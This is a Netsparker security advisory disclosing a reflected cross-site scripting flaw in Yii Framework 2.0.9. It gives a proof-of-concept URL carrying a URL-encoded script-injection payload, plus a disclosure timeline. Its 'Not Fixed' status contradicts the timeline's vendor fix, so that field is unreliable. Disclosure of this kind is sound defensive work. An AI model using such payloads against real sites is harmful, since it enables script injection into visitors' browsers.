Information
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Advisory by Netsparker
Name: Reflected XSS Vulnerability in Yii Framework
Affected Software : Yii Framework 2.0.9
Affected Versions: 2.0.9
Vendor Homepage : http://www.yiiframework.com/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-17-006

Technical Details
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Proof of Concept URL for XSS vulnerability in Yii Framework;

Url /basic/web/index.php?r=site/errors
Parameter Name nsextt
Parameter Type GET
Attack Pattern nsextt=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004EE0)%3C/scRipt%3E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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01 Feb 2017 - Issue reported
07 Feb 2017 - Vendor fixed
08 Feb 2017 - Advisory released

Solution
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Download latest version of Yii Framework.

Credits & Authors
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This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.